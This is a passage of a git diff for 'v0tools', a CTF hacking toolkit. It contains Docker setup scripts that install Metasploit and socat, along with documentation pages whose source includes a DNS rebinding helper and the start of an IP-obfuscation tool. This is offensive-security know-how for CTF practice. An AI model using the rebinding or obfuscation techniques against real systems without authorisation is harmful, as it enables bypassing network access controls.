http://archlinux.uib.no/$repo/os/$arch +#Server = http://mirror.neuf.no/archlinux/$repo/os/$arch +#Server = https://mirror.neuf.no/archlinux/$repo/os/$arch +#Server = http://mirror.terrahost.no/linux/archlinux/$repo/os/$arch + +## Pakistan +#Server = http://repo.inara.pk/archlinux/$repo/os/$arch +#Server = https://repo.inara.pk/archlinux/$repo/os/$arch + +## Paraguay +#Server = http://archlinux.mirror.py/archlinux/$repo/os/$arch + +## Poland +#Server = http://ftp.icm.edu.pl/pub/Linux/dist/archlinux/$repo/os/$arch +#Server = https://ftp.icm.edu.pl/pub/Linux/dist/archlinux/$repo/os/$arch +#Server = http://mirror.juniorjpdj.pl/archlinux/$repo/os/$arch +#Server = https://mirror.juniorjpdj.pl/archlinux/$repo/os/$arch +#Server = http://arch.midov.pl/arch/$repo/os/$arch +#Server = https://arch.midov.pl/arch/$repo/os/$arch +#Server = http://arch.nixlab.pl/$repo/os/$arch +#Server = https://arch.nixlab.pl/$repo/os/$arch +#Server = http://mirror.onet.pl/pub/mirrors/archlinux/$repo/os/$arch +#Server = http://piotrkosoft.net/pub/mirrors/ftp.archlinux.org/$repo/os/$arch +#Server = http://mirror.sfinae.tech/pub/mirrors/archlinux/$repo/os/$arch +#Server = https://mirror.sfinae.tech/pub/mirrors/archlinux/$repo/os/$arch +#Server = http://repo.skni.umcs.pl/archlinux/$repo/os/$arch +#Server = https://repo.skni.umcs.pl/archlinux/$repo/os/$arch +#Server = http://ftp.vectranet.pl/archlinux/$repo/os/$arch + +## Portugal +#Server = http://glua.ua.pt/pub/archlinux/$repo/os/$arch +#Server = https://glua.ua.pt/pub/archlinux/$repo/os/$arch +#Server = http://ftp.rnl.tecnico.ulisboa.pt/pub/archlinux/$repo/os/$arch +#Server = https://ftp.rnl.tecnico.ulisboa.pt/pub/archlinux/$repo/os/$arch + +## Romania +#Server = http://mirrors.chroot.ro/archlinux/$repo/os/$arch +#Server = https://mirrors.chroot.ro/archlinux/$repo/os/$arch +#Server = http://mirror.efect.ro/archlinux/$repo/os/$arch +#Server = https://mirror.efect.ro/archlinux/$repo/os/$arch +#Server = http://mirrors.go.ro/archlinux/$repo/os/$arch +#Server = https://mirrors.go.ro/archlinux/$repo/os/$arch +#Server = http://mirrors.hostico.ro/archlinux/$repo/os/$arch +#Server = https://mirrors.hostico.ro/archlinux/$repo/os/$arch +#Server = http://archlinux.mirrors.linux.ro/$repo/os/$arch +#Server = http://mirrors.m247.ro/archlinux/$repo/os/$arch +#Server = http://mirrors.nav.ro/archlinux/$repo/os/$arch +#Server = http://mirrors.nxthost.com/archlinux/$repo/os/$arch +#Server = https://mirrors.nxthost.com/archlinux/$repo/os/$arch +#Server = http://mirrors.pidginhost.com/arch/$repo/os/$arch +#Server = https://mirrors.pidginhost.com/arch/$repo/os/$arch + +## Russia +#Server = http://mirror.surf/archlinux/$repo/os/$arch +#Server = https://mirror.surf/archlinux/$repo/os/$arch +#Server = http://mirror.nw-sys.ru/archlinux/$repo/os/$arch +#Server = https://mirror.nw-sys.ru/archlinux/$repo/os/$arch +#Server = http://mirrors.powernet.com.ru/archlinux/$repo/os/$arch +#Server = http://mirror.rol.ru/archlinux/$repo/os/$arch +#Server = https://mirror.rol.ru/archlinux/$repo/os/$arch +#Server = http://mirror.truenetwork.ru/archlinux/$repo/os/$arch +#Server = https://mirror.truenetwork.ru/archlinux/$repo/os/$arch +#Server = http://mirror.yandex.ru/archlinux/$repo/os/$arch +#Server = https://mirror.yandex.ru/archlinux/$repo/os/$arch +#Server = http://archlinux.zepto.cloud/$repo/os/$arch + +## Réunion +#Server = http://arch.mithril.re/$repo/os/$arch + +## Serbia +#Server = http://arch.petarmaric.com/$repo/os/$arch +#Server = http://mirror.pmf.kg.ac.rs/archlinux/$repo/os/$arch + +## Singapore +#Server = http://mirror.0x.sg/archlinux/$repo/os/$arch +#Server = https://mirror.0x.sg/archlinux/$repo/os/$arch +#Server = http://mirror.aktkn.sg/archlinux/$repo/os/$arch +#Server = https://mirror.aktkn.sg/archlinux/$repo/os/$arch +#Server = https://download.nus.edu.sg/mirror/archlinux/$repo/os/$arch +#Server = http://mirror.guillaumea.fr/archlinux/$repo/os/$arch +#Server = https://mirror.guillaumea.fr/archlinux/$repo/os/$arch +#Server = http://mirror.jingk.ai/archlinux/$repo/os/$arch +#Server = https://mirror.jingk.ai/archlinux/$repo/os/$arch +#Server = http://mirror.nus.edu.sg/archlinux/$repo/os/$arch + +## Slovakia +#Server = http://mirror.lnx.sk/pub/linux/archlinux/$repo/os/$arch +#Server = https://mirror.lnx.sk/pub/linux/archlinux/$repo/os/$arch +#Server = http://tux.rainside.sk/archlinux/$repo/os/$arch + +## Slovenia +#Server = http://archimonde.ts.si/archlinux/$repo/os/$arch +#Server = https://archimonde.ts.si/archlinux/$repo/os/$arch + +## South Africa +#Server = http://archlinux.za.mirror.allworldit.com/archlinux/$repo/os/$arch +#Server = https://archlinux.za.mirror.allworldit.com/archlinux/$repo/os/$arch +#Server = http://za.mirror.archlinux-br.org/$repo/os/$arch +#Server = http://mirror.is.co.za/mirror/archlinux.org/$repo/os/$arch +#Server = http://arch.opnmirror.co.za/$repo/os/$arch +#Server = https://arch.opnmirror.co.za/$repo/os/$arch +#Server = http://mirrors.urbanwave.co.za/archlinux/$repo/os/$arch +#Server = https://mirrors.urbanwave.co.za/archlinux/$repo/os/$arch + +## South Korea +#Server = http://mirror.anigil.com/archlinux/$repo/os/$arch +#Server = https://mirror.anigil.com/archlinux/$repo/os/$arch +#Server = http://ftp.harukasan.org/archlinux/$repo/os/$arch +#Server = https://ftp.harukasan.org/archlinux/$repo/os/$arch +#Server = http://ftp.lanet.kr/pub/archlinux/$repo/os/$arch +#Server = https://ftp.lanet.kr/pub/archlinux/$repo/os/$arch +#Server = http://mirror.premi.st/archlinux/$repo/os/$arch +#Server = https://mirror.premi.st/archlinux/$repo/os/$arch + +## Spain +#Server = https://mirror.cloroformo.org/archlinux/$repo/os/$arch +#Server = http://mirror.librelabucm.org/archlinux/$repo/os/$arch +#Server = https://mirror.librelabucm.org/archlinux/$repo/os/$arch +#Server = http://ftp.rediris.es/mirror/archlinux/$repo/os/$arch +#Server = http://sharing.thelinuxsect.com/archlinux/$repo/os/$arch + +## Sweden +#Server = http://ftp.acc.umu.se/mirror/archlinux/$repo/os/$arch +#Server = https://ftp.acc.umu.se/mirror/archlinux/$repo/os/$arch +#Server = http://ftpmirror.infania.net/mirror/archlinux/$repo/os/$arch +#Server = https://ftp.ludd.ltu.se/mirrors/archlinux/$repo/os/$arch +#Server = http://ftp.lysator.liu.se/pub/archlinux/$repo/os/$arch +#Server = https://ftp.lysator.liu.se/pub/archlinux/$repo/os/$arch +#Server = http://ftp.myrveln.se/pub/linux/archlinux/$repo/os/$arch +#Server = https://ftp.myrveln.se/pub/linux/archlinux/$repo/os/$arch +#Server = https://mirror.osbeck.com/archlinux/$repo/os/$arch +#Server = http://tedwall.se/archlinux/$repo/os/$arch +#Server = https://tedwall.se/archlinux/$repo/os/$arch + +## Switzerland +#Server = http://pkg.adfinis.com/archlinux/$repo/os/$arch +#Server = https://pkg.adfinis.com/archlinux/$repo/os/$arch +#Server = http://mirror.init7.net/archlinux/$repo/os/$arch +#Server = https://mirror.init7.net/archlinux/$repo/os/$arch +#Server = http://mirror.puzzle.ch/archlinux/$repo/os/$arch +#Server = https://mirror.puzzle.ch/archlinux/$repo/os/$arch +#Server = https://theswissbay.ch/archlinux/$repo/os/$arch +#Server = https://mirror.ungleich.ch/mirror/packages/archlinux/$repo/os/$arch + +## Taiwan +#Server = http://archlinux.ccns.ncku.edu.tw/archlinux/$repo/os/$arch +#Server = http://free.nchc.org.tw/arch/$repo/os/$arch +#Server = https://free.nchc.org.tw/arch/$repo/os/$arch +#Server = http://archlinux.cs.nctu.edu.tw/$repo/os/$arch +#Server = http://shadow.ind.ntou.edu.tw/archlinux/$repo/os/$arch +#Server = https://shadow.ind.ntou.edu.tw/archlinux/$repo/os/$arch +#Server = http://ftp.tku.edu.tw/Linux/ArchLinux/$repo/os/$arch +#Server = http://ftp.yzu.edu.tw/Linux/archlinux/$repo/os/$arch +#Server = https://ftp.yzu.edu.tw/Linux/archlinux/$repo/os/$arch + +## Thailand +#Server = https://mirror.cyberbits.asia/archlinux/$repo/os/$arch +#Server = http://mirror.kku.ac.th/archlinux/$repo/os/$arch +#Server = https://mirror.kku.ac.th/archlinux/$repo/os/$arch +#Server = http://mirror2.totbb.net/archlinux/$repo/os/$arch + +## Turkey +#Server = http://ftp.linux.org.tr/archlinux/$repo/os/$arch +#Server = http://mirror.veriteknik.net.tr/archlinux/$repo/os/$arch + +## Ukraine +#Server = http://archlinux.astra.in.ua/$repo/os/$arch +#Server = https://archlinux.astra.in.ua/$repo/os/$arch +#Server = http://archlinux.ip-connect.vn.ua/$repo/os/$arch +#Server = https://archlinux.ip-connect.vn.ua/$repo/os/$arch +#Server = http://mirror.mirohost.net/archlinux/$repo/os/$arch +#Server = https://mirror.mirohost.net/archlinux/$repo/os/$arch +#Server = http://mirrors.nix.org.ua/linux/archlinux/$repo/os/$arch +#Server = https://mirrors.nix.org.ua/linux/archlinux/$repo/os/$arch + +## United Kingdom +#Server = http://archlinux.uk.mirror.allworldit.com/archlinux/$repo/os/$arch +#Server = https://archlinux.uk.mirror.allworldit.com/archlinux/$repo/os/$arch +#Server = http://mirror.bytemark.co.uk/archlinux/$repo/os/$arch +#Server = https://mirror.bytemark.co.uk/archlinux/$repo/os/$arch +#Server = http://mirrors.gethosted.online/archlinux/$repo/os/$arch +#Server = https://mirrors.gethosted.online/archlinux/$repo/os/$arch +#Server = http://mirrors.manchester.m247.com/arch-linux/$repo/os/$arch +#Server = http://mirrors.melbourne.co.uk/archlinux/$repo/os/$arch +#Server = https://mirrors.melbourne.co.uk/archlinux/$repo/os/$arch +#Server = http://www.mirrorservice.org/sites/ftp.archlinux.org/$repo/os/$arch +#Server = https://www.mirrorservice.org/sites/ftp.archlinux.org/$repo/os/$arch +#Server = http://mirror.netweaver.uk/archlinux/$repo/os/$arch +#Server = https://mirror.netweaver.uk/archlinux/$repo/os/$arch +#Server = http://lon.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = https://lon.mirror.rackspace.com/archlinux/$repo/os/$arch +#Server = http://arch.serverspace.co.uk/arch/$repo/os/$arch +#Server = http://mirrors.ukfast.co.uk/sites/archlinux.org/$repo/os/$arch +#Server = https://mirrors.ukfast.co.uk/sites/archlinux.org/$repo/os/$arch +#Server = http://mirror.cov.ukservers.com/archlinux/$repo/os/$arch +#Server = https://mirror.cov.ukservers.com/archlinux/$repo/os/$arch + + +## Vietnam +#Server = http://f.archlinuxvn.org/archlinux/$repo/os/$arch +#Server = http://mirror.bizflycloud.vn/archlinux/$repo/os/$arch + diff --git a/docker/archinstall.sh b/docker/archinstall.sh new file mode 100755 index 0000000..08bb71d --- /dev/null +++ b/docker/archinstall.sh @@ -0,0 +1,21 @@ +#!/usr/bin/env bash +set -euo pipefail +IFS=$'\n\t' + +pacman -Syu --noconfirm +pacman -S --noconfirm \ + nmap \ + fzf \ + socat \ + rlwrap \ + ffmpeg \ + python-pip \ + make \ + git \ + screenkey \ + python3 + + +# Mock konsole we don't actually want to install it +touch /usr/bin/konsole +chmod 755 /usr/bin/konsole diff --git a/docker/centos7.Dockerfile b/docker/centos7.Dockerfile new file mode 100644 index 0000000..c25ef4b --- /dev/null +++ b/docker/centos7.Dockerfile @@ -0,0 +1,13 @@ +FROM centos:7 + +COPY ./docker/yuminst.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./yuminst.sh +RUN ./install_msf.sh + +COPY . /app/ +WORKDIR /app + +RUN pip3 install . diff --git a/docker/deb310.Dockerfile b/docker/deb310.Dockerfile new file mode 100644 index 0000000..e0e44be --- /dev/null +++ b/docker/deb310.Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.10-rc-bullseye + +COPY ./docker/debinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./debinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/deb36.Dockerfile b/docker/deb36.Dockerfile new file mode 100644 index 0000000..8e4a42b --- /dev/null +++ b/docker/deb36.Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.6-bullseye + +COPY ./docker/debinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./debinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/deb37.Dockerfile b/docker/deb37.Dockerfile new file mode 100644 index 0000000..6ef2a9a --- /dev/null +++ b/docker/deb37.Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.7-bullseye + +COPY ./docker/debinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./debinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/deb38.Dockerfile b/docker/deb38.Dockerfile new file mode 100644 index 0000000..19521c9 --- /dev/null +++ b/docker/deb38.Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.8-bullseye + +COPY ./docker/debinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./debinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/deb39.Dockerfile b/docker/deb39.Dockerfile new file mode 100644 index 0000000..30ad853 --- /dev/null +++ b/docker/deb39.Dockerfile @@ -0,0 +1,14 @@ +FROM python:3.9-bullseye + +COPY ./docker/debinstall.sh / +COPY ./docker/install_msf.sh / + +WORKDIR / +RUN ./debinstall.sh +RUN ./install_msf.sh + +COPY . /app/ + +WORKDIR /app + +RUN pip3 install . diff --git a/docker/debinstall.sh b/docker/debinstall.sh new file mode 100755 index 0000000..503f375 --- /dev/null +++ b/docker/debinstall.sh @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +set -euo pipefail +IFS=$'\n\t' + +# Get System packages installed +apt -y update +apt -y install \ + git \ + socat \ + rlwrap \ + screenkey \ + ffmpeg + +# Install FZF +git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf +~/.fzf/install + +# Mock konsole binary +touch /usr/bin/konsole +chmod 755 /usr/bin/konsole diff --git a/docker/install_msf.sh b/docker/install_msf.sh new file mode 100755 index 0000000..aaad8aa --- /dev/null +++ b/docker/install_msf.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +set -euo pipefail +IFS=$'\n\t' + +if grep -i centos /etc/os-release; then + curl https://apt.metasploit.com/metasploit-framework.gpg.key > /tmp/msf.asc + rpm --import /tmp/msf.asc + yum -y install yum-utils + yum-config-manager --add-repo=https://rpm.metasploit.com/ + yum -y install metasploit-framework.x86_64 +elif grep -i debian /etc/os-release; then + curl https://apt.metasploit.com/metasploit-framework.gpg.key | apt-key add - + echo deb http://apt.metasploit.com buster main >> /etc/apt/sources.list + apt update + apt install -y metasploit-framework +elif grep -i arch /etc/os-release; then + pacman -S --noconfirm metasploit +else + echo "Error, unknown distro" + cat /etc/os-release + exit 1 +fi + + +# Mock konsole we don't actually want to install it +touch /usr/bin/konsole +chmod 755 /usr/bin/konsole diff --git a/docker/yuminst.sh b/docker/yuminst.sh new file mode 100755 index 0000000..93d57bc --- /dev/null +++ b/docker/yuminst.sh @@ -0,0 +1,41 @@ +#!/usr/bin/env bash +set -euo pipefail +IFS=$'\n\t' + +yum update -y +yum install -y \ + nmap-ncat \ + socat \ + readline-devel \ + epel-release \ + python3-pip \ + which \ + python3-devel + +yum -y group install "Development Tools" +yum -y localinstall --nogpgcheck https://download1.rpmfusion.org/free/el/rpmfusion-free-release-7.noarch.rpm +yum -y install \ + ffmpeg \ + ffmpeg-devel + + + +# FZF +git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf +~/.fzf/install + +# rlwrap +git clone https://github.com/hanslub42/rlwrap.git ~/rlwrap +cd /root/rlwrap +autoreconf --install +./configure +make +make install + +# Mock binaries we don't actually want to install it +touch /usr/bin/konsole +chmod 755 /usr/bin/konsole + +# can't get this to work on centos +touch /usr/bin/screenkey +chmod 755 /usr/bin/screenkey diff --git a/docs/archetypes/default.md b/docs/archetypes/default.md new file mode 100644 index 0000000..00e77bd --- /dev/null +++ b/docs/archetypes/default.md @@ -0,0 +1,6 @@ +--- +title: "{{ replace .Name "-" " " | title }}" +date: {{ .Date }} +draft: true +--- + diff --git a/docs/config.yaml b/docs/config.yaml new file mode 100644 index 0000000..fb1bc87 --- /dev/null +++ b/docs/config.yaml @@ -0,0 +1,49 @@ +--- +baseURL: https://v0tools.stev0.me +title: v0tools +theme: geekdoc +pygmentsUseClasses: true +pygmentsCodeFences: true +timeout: 180000 +pluralizeListTitles: false + +# Geekdoc configuration +disablePathToLower: true +enableGitInfo: true + +# Needed for mermaid shortcodes +markup: + goldmark: + renderer: + unsafe: true + tableOfContents: + startLevel: 1 + endLevel: 9 + +taxonomies: + tag: tags + +params: + # geekdocMenuBundle: true + geekdocToC: 3 + geekdocTagsToMenu: true + + # geekdocRepo: https://github.com/thegeeklab/hugo-geekdoc + # geekdocEditPath: edit/main/exampleSite/content + + geekdocSearch: true + geekdocSearchShowParent: true + + # geekdocLegalNotice: https://thegeeklab.de/legal-notice/#contact-information + # geekdocPrivacyPolicy: https://thegeeklab.de/legal-notice/#privacy-policy + + geekdocImageLazyLoading: true + geekdocDarkModeDim: true + +deployment: + order: + - ".jpg$" + - ".gif$" + targets: + - name: s3 + URL: s3://cloudfront-s3-cdn-prod-v0tools-origin?region=us-east-2 diff --git a/docs/content/_index.md b/docs/content/_index.md new file mode 100644 index 0000000..3f8e475 --- /dev/null +++ b/docs/content/_index.md @@ -0,0 +1,32 @@ +--- +description: Welcome to v0tools! +geekdocAlign: left +geekdocDescription: Welcome to v0tools! +title: Home +weight: 99 + +--- + +{{< toc >}} +**This package is for those participating in hacking CTFs and want some tools to help with some of the more tedious tasks.** + +**Enjoy!** + +**Pull requests welcome. :)** + +## Installation / Quickstart + +> **To install this package from [pypy](https://pypi.org/project/v0tools/) run the following command.** + +```bash +pip3 install v0tools +``` + + + +## Api + +> **API Documentation can be found [here](https://v0tools.stev0.me/api)** + +## Toc +{{< toc-tree >}} diff --git a/docs/content/commands/_index.md b/docs/content/commands/_index.md new file mode 100644 index 0000000..a64ecf3 --- /dev/null +++ b/docs/content/commands/_index.md @@ -0,0 +1,10 @@ +--- +description: CLI Utilities +geekdocAlign: left +geekdocDescription: CLI Utilities +title: Commands +weight: 99 + +--- + +{{< toc-tree >}} diff --git a/docs/content/commands/cmd-not-found.md b/docs/content/commands/cmd-not-found.md new file mode 100644 index 0000000..15ec1ba --- /dev/null +++ b/docs/content/commands/cmd-not-found.md @@ -0,0 +1,97 @@ +--- +description: "Print how to install packages on different operating systems\n\nThanks\ + \ to https://command-not-found.com/ and\n\u023Dukasz Lach https://twitter.com/lach_dev\ + \ for hosting the site" +geekdocAlign: left +geekdocDescription: "Print how to install packages on different operating systems\n\ + \nThanks to https://command-not-found.com/ and\n\u023Dukasz Lach https://twitter.com/lach_dev\ + \ for hosting the site" +title: cmd-not-found.py +weight: 99 + +--- + +> **Print how to install packages on different operating systems** +> +> **Thanks to https://command-not-found.com/ and** +> **Ƚukasz Lach https://twitter.com/lach_dev for hosting the site** + +{{< tabs "d903902a44e8ed0455175edd709eb497" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: cmd-not-found.py [-h] command + +Print how to install packages on different operating systems + +Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + +positional arguments: + command command help + +optional arguments: + -h, --help show this help message and exit +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Print how to install packages on different operating systems + +Thanks to https://command-not-found.com/ and +Ƚukasz Lach https://twitter.com/lach_dev for hosting the site + +""" +from bs4 import BeautifulSoup +import requests +import json +from v0tools.cli import Cli + +cli = Cli() +parser = cli.parser +parser.add_argument( + "command", + help="command help", + type=str, +) + + +def main(args): + """Run main function.""" + # txt = pathlib.Path("./test.html").read_text() + txt = requests.get(f"https://command-not-found.com/{args.command}") + val = BeautifulSoup(txt.content, "lxml") + vals = {} + for i in val.findAll("div"): + if "command-install" not in i.attrs["class"]: + continue + os = i.attrs.get("data-os") + if not os: + continue + code = i.find("code").getText() + vals[os] = code + print(json.dumps(vals, indent=4, separators=(",", " : "))) + + +if __name__ == "__main__": + args = cli.get_parse() + # args = cli.get_parse("booga") + cli.set_entrypoint(main) + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/cmdrec.md b/docs/content/commands/cmdrec.md new file mode 100644 index 0000000..7b8b210 --- /dev/null +++ b/docs/content/commands/cmdrec.md @@ -0,0 +1,245 @@ +--- +description: Terminal Recorder using ffmpeg and KDE Console. +geekdocAlign: left +geekdocDescription: Terminal Recorder using ffmpeg and KDE Console. +title: cmdrec.py +weight: 99 + +--- + +> **Terminal Recorder using ffmpeg and KDE Console.** + +{{< tabs "80fa25b938f012e59809cb757f226fe1" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: cmdrec.py [-h] [--overwrite] [--shell_geometry SHELL_GEOMETRY] [--recording_geometry RECORDING_GEOMETRY] [--scr SCR] + [--noterm] [--terminal {konsole}] + dest_file + +Terminal Recorder using ffmpeg and KDE Console. + +positional arguments: + dest_file destination file, supported types mp4,gif,webm + +optional arguments: + -h, --help show this help message and exit + --overwrite, -y Overwrite destination file + --shell_geometry SHELL_GEOMETRY, -g SHELL_GEOMETRY + geometry in the following format x,y,pixel-width,pixel-height + --recording_geometry RECORDING_GEOMETRY, -r RECORDING_GEOMETRY + geometry in the following format for recording area x,y,pixel-width,pixel-height + --scr SCR, -k SCR Screen Keys Screen + --noterm, -n Do not spawn a new terminal + --terminal {konsole}, -t {konsole} + terminal command +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""Terminal Recorder using ffmpeg and KDE Console.""" +from v0tools.media import convert, screencast +from v0tools import cli, exceptions +import subprocess +import time +import signal +import os +import tempfile +import shutil +import pathlib + + +TERM_COMMANDS = { + # "xterm": "xterm -class UXTerm -title uxterm -u8 -fa Mono -fs 18 -bg black -fg white -geometry __GEO__", + "konsole": "konsole --nofork --geometry __GEO__", +} + + +def _mp4(srcfile, destfile): + """This is the default action, just move the file.""" + shutil.move(srcfile, destfile) + + +def _gif(srcfile, destfile): + """Convert to GIF.""" + out = convert.mp4_to_gif(srcfile, destfile, True) + print(out) + os.unlink(srcfile) + + +def _webm(srcfile, destfile): + out = convert.mp4_to_webm(srcfile, destfile, True) + print(out) + os.unlink(srcfile) + + +FT_MAP = { + "mp4": _mp4, + "gif": _gif, + "webm": _webm, +} + +cli = cli.Cli() + +parser = cli.parser + +parser.add_argument( + "dest_file", + help=f'destination file, supported types {",".join(FT_MAP)}', + type=str, +) + +parser.add_argument( + "--overwrite", + "-y", + help="Overwrite destination file", + action="store_true", + default=False, +) + +parser.add_argument( + "--shell_geometry", + "-g", + help="geometry in the following format x,y,pixel-width,pixel-height", + type=str, + default="0,0,1920,1080", +) + +parser.add_argument( + "--recording_geometry", + "-r", + help="geometry in the following format for recording area x,y,pixel-width,pixel-height", + type=str, + default="0,0,1920,1080", +) + +parser.add_argument( + "--scr", + "-k", + help="Screen Keys Screen", + type=int, + default=0, +) + +parser.add_argument( + "--noterm", + "-n", + help="Do not spawn a new terminal", + action="store_true", + default=False, +) + +parser.add_argument( + "--terminal", + "-t", + help="terminal command", + type=str, + choices=TERM_COMMANDS.keys(), + default="konsole", +) + + +def _ffmpeg(args, tfile): + win = WinProps(args) + return screencast.x11_to_mp4( + win.rx, + win.ry, + win.rwidth, + win.rheight, + tfile, + ) + + +class WinProps(object): + """Window Properties.""" + + def __init__(self, args): + sarr = args.shell_geometry.split(",") + rarr = args.recording_geometry.split(",") + if len(sarr) != 4: + parser.print_help() + raise exceptions.InvalidCliArgument("--shell_geometry") + if len(rarr) != 4: + parser.print_help() + raise exceptions.InvalidCliArgument("--recording_geometry") + + self.sx, self.sy, self.swidth, self.sheight = map(int, sarr) + self.rx, self.ry, self.rwidth, self.rheight = map(int, rarr) + + +def shell(args): + xo = WinProps(args) + geo = f"{xo.swidth}x{xo.sheight}+{xo.sx}+{xo.sy}" + cmd = [ + "konsole", + "--nofork", + "--geometry", + geo, + ] + return subprocess.Popen(cmd) + + +def main(args): + """Run main function.""" + ext = args.dest_file.rsplit(".", 1) + if len(ext) == 1: + raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) + if ext[1] not in FT_MAP: + raise exceptions.InvalidFileExtention(args.dest_file, list(FT_MAP)) + if os.path.exists(args.dest_file) and not args.overwrite: + raise exceptions.FileExists(args.dest_file, "--overwrite not set") + args.func = FT_MAP[ext[1]] + pdir = pathlib.Path(args.dest_file).resolve().parent + if not pdir.exists(): + raise exceptions.DirectoryNotExist(str(pdir)) + + if not args.noterm: + shell_proc = shell(args) + time.sleep(1) + + tfile = tempfile.mktemp(suffix=".mp4") + + rec_proc = _ffmpeg(args, tfile) + keys_proc = screencast.screenkey(args.scr) + + if not args.noterm: + shell_proc.communicate() + rec_proc.send_signal(signal.SIGTERM) + keys_proc.send_signal(signal.SIGTERM) + time.sleep(1) + else: + try: + rec_proc.communicate() + except KeyboardInterrupt: + pass + keys_proc.send_signal(signal.SIGTERM) + time.sleep(1) + + args.func(tfile, args.dest_file) + + +# This needs to be set here +cli.set_entrypoint(main) +cli.set_required_binaries(["konsole", "ffmpeg", "screenkey"]) + +if __name__ == "__main__": + args = cli.get_parse() + cli.run(args) + # args = cli.get_parse("--help") + # args = cli.get_parse("foo.txt") + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/dnsrebind.md b/docs/content/commands/dnsrebind.md new file mode 100644 index 0000000..e666323 --- /dev/null +++ b/docs/content/commands/dnsrebind.md @@ -0,0 +1,138 @@ +--- +description: dns rebinding fqdn. +geekdocAlign: left +geekdocDescription: dns rebinding fqdn. +title: dnsrebind.py +weight: 99 + +--- + +> **dns rebinding fqdn.** + +{{< tabs "c7fe28b3a12331a1d37071baa535c7d5" >}} +{{< tab "Screencast" >}} +
+ +
+{{< /tab >}} +{{< tab "Help" >}} + +```bash +usage: dnsrebind.py [-h] [--test_count TEST_COUNT] [--verbose] normalip rebindip + +dns rebinding fqdn. + +positional arguments: + normalip initial ip + rebindip rebind ip + +optional arguments: + -h, --help show this help message and exit + --test_count TEST_COUNT, -t TEST_COUNT + test count + --verbose, -v verbose +``` + +{{< /tab >}} +{{< tab "Source" >}} + +```python +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""dns rebinding fqdn.""" +from v0tools.attacks.dnsrebind import get_fqdn +from v0tools.lib.log import get_log +from v0tools.cli import Cli, exceptions +import argparse +import socket +import concurrent.futures as confu +import random +import time +from collections import Counter + +SECONDS = 5 +MAX_TEST_COUNT = 250 +MIN_TEST_COUNT = 50 + +LOG = get_log() + +cli = Cli() + + +parser = cli.parser + +parser.add_argument( + "normalip", + help="initial ip", + type=str, +) +parser.add_argument( + "rebindip", + help="rebind ip", + type=str, +) + +parser.add_argument( + "--test_count", + "-t", + help="test count", + default=0, + type=int, +) + +parser.add_argument( + "--verbose", + "-v", + action="store_true", + help="verbose", + default=False, +) + + +def _q(fqdn): + sl_int = random.randint(200, SECONDS * 1000) + time.sleep(0.001 * sl_int) + return socket.gethostbyname(fqdn) + + +def main(args): + """Run main function.""" + fqdn = get_fqdn(args.normalip, args.rebindip) + responses = Counter() + if args.test_count: + if args.test_count >= MAX_TEST_COUNT: + msg = f"test count should be below {MAX_TEST_COUNT}" + raise exceptions.InvalidCliArgument("--test_count", msg) + if args.test_count <= MIN_TEST_COUNT: + msg = f"test count should be above {MIN_TEST_COUNT}" + raise exceptions.InvalidCliArgument("--test_count", msg) + + LOG.info(f"Running tests on: {fqdn}") + LOG.info(f"This will finish in ~{SECONDS} seconds") + with confu.ThreadPoolExecutor(args.test_count) as executor: + futures = [executor.submit(_q, fqdn) for _ in range(args.test_count)] + for future in confu.as_completed(futures): + res = future.result() + responses[res] += 1 + if args.verbose: + LOG.info("Query result: %s", res) + LOG.info("Result Count Summary:") + for k, v in responses.most_common(): + LOG.info("%s: %s", k, v) + else: + print(fqdn) + + +cli.set_entrypoint(main) + +if __name__ == "__main__": + # args = parser.parse_args(["8.8.8.8", "127.0.0.1", "-t", "100"]) + args = cli.get_parse() + cli.run(args) + +``` + +{{< /tab >}} +{{< /tabs >}} diff --git a/docs/content/commands/ip_urls.md b/docs/content/commands/ip_urls.md new file mode 100644 index 0000000..5c3d58a --- /dev/null +++ b/docs/content/commands/ip_urls.md @@ -0,0 +1,79 @@ +--- +description: Generate a list of obfuscated ip variations and print to stdout. +geekdocAlign: left +geekdocDescription: Generate a list of obfuscated ip variations and print to stdout. +title: ip_urls.py +weight: 99 + +--- + +> **Generate a list of obfuscated ip variations and print to stdout.** + +{{< tabs "8a195adc135445b3260441b79874d2f9" >}} +{{< tab "Screencast" >}} +
+ +
